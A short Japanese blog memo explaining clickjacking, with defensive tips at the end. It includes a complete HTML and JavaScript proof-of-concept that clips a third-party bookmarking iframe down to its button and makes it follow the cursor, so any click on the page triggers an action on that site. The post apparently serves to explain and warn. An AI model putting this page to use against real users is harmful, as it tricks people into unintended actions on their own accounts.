クリックジャック
最近流行のクリックジャックについて、メモ程度にまとめておく。
一言で言うと、外部サイトのボタンをユーザが間違えてクリックしてしまうように仕向けるテクニックが、クリックジャックである。
クリックジャッキングってこうですか? わかりませんではiframeをCSSのopacityプロパティを利用して透明にして、その下にダミーのボタンを置いている。目に見えているボタンを押そうとすると、その上に被せてある透明なiframeのボタンが押されてしまう。
[Sleipnir]No Click Jacking — Gistはこの攻撃に対する防御手段として考えられたユーザースクリプトで、透明なiframeを検出する。
しかし、opacity以外にもクリックジャックをする方法はあるので不十分である。
例えば
2009-03-04_2146 - javascripter's library
にスクリーンキャストを置いた方法。
<!doctype html> <html><head><meta charset="utf-8"><title>あなたの心をジャックします!</title><script>window.onload = function () { var iframe = document.getElementsByTagName("iframe").item(0); window.addEventListener("mousemove", function (ev) { iframe.style.left = (ev.clientX - 120) + "px"; iframe.style.top = (ev.clientY - 490) + "px"; }, false); };</script><style> body { background: #f9f9f9; } iframe { top: -300px; left: -80px; width: 200px; height: 520px; position: absolute; clip: rect(478px 180px 510px 110px); border: none; }</style></head><body><h1>JavaScriptとCSSとiframeの組合せでどこクリックしてもジャックするデモ</h1><p>↓をクリック!</p> <iframe src="http://b.hatena.ne.jp/javascripter/add.confirm?url=https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttp%2Fexample.com%2F"> </iframe></body></html>
CSSのclipプロパティを使って、iframe内のボタンだけを表示するようにしている。もしiframeが1px * 1pxだったらユーザは気がつかない。
JavaScriptを使ってiframeをマウス直下に追随させたので、どこをクリックしてもアクションが起こる。
結論
FirefoxユーザはNoScriptを使うか、about:configからpermissions.default.subdocumentを3にしましょう。